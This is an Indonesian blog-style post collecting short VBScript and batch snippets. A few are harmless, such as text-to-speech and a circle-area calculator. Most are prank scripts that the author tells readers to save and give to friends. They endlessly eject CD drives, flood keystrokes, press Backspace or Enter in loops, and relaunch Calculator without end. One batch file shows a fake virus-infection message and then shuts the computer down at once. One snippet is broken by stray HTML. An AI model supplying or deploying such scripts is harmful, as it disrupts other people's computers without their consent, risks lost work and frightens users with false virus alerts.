kUMPulan vBS

KOmPUTER BIcarA

Oke, langsung aja...
Buka notepad dan copas kode berikut...

Dim msg, jasakom

msg=InputBox("Masukkan Kalimat","Ngomong Dong")

Set jasakom=CreateObject("sapi.spvoice")

jasakom.Speak msg



Nah simpan dengan nama Terserah.vbs dan jalankan...



Setelah itu masukkan atau ketik kata2 yang diinginkan...



Nyalakan speaker sekeras mungkin dan "ENTER"...







Semoga berguna...

keyBoARD dIsko

Kalo kalian punya keyboard yang ada lampunya (pokoknya bisa keluarin cahaya... b\< class="bbcode_code" style="height: 108px;">Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"


Simpan dengan nama Disco.vbs kemudian jalankan dan liat hasilnya...

LUaS dAN KElilinG lingkarAN

'Hello world
dim fname
const phi = 3.14
fname=InputBox("Enter your name:")
MsgBox("Hallo " & fname)

'Luas dan keliling Lingkaran
fJari2 = inputbox("masukan jari-jari")
if isnumeric(fjari2) then
iJari = CiNT(fjari2)
iLuas = phi * ijari * ijari
iKeliling = 2 * phi * ijari
MsgBox( "Luas Lingkaran " & iLuas & vbcrlf & _
"Keliling Lingkaran : " & iKeliling & vbcrlf)
else
msgbox("Hanya masukan nilai berupa angka")
end if

'Sorry kalo rumusnya salah... gw lupa lagi rumus matematikanya

Iseng Mengeject CD-Drive Terus Menerus

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

Iseng Dengan Tombol Enter Terus Menerus

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

Iseng Dengan Backspace

MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda


Iseng Dengan Membuka Calculator Terus Menerus

@ECHO off
:top
START %SystemRoot%\system32\calc.exe
GOTO top
Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda

Iseng Dengan Keyboard

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

Iseng Dengan Shutdown Computer

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda

semUANYa coPY PAStE In Jas Dan KAs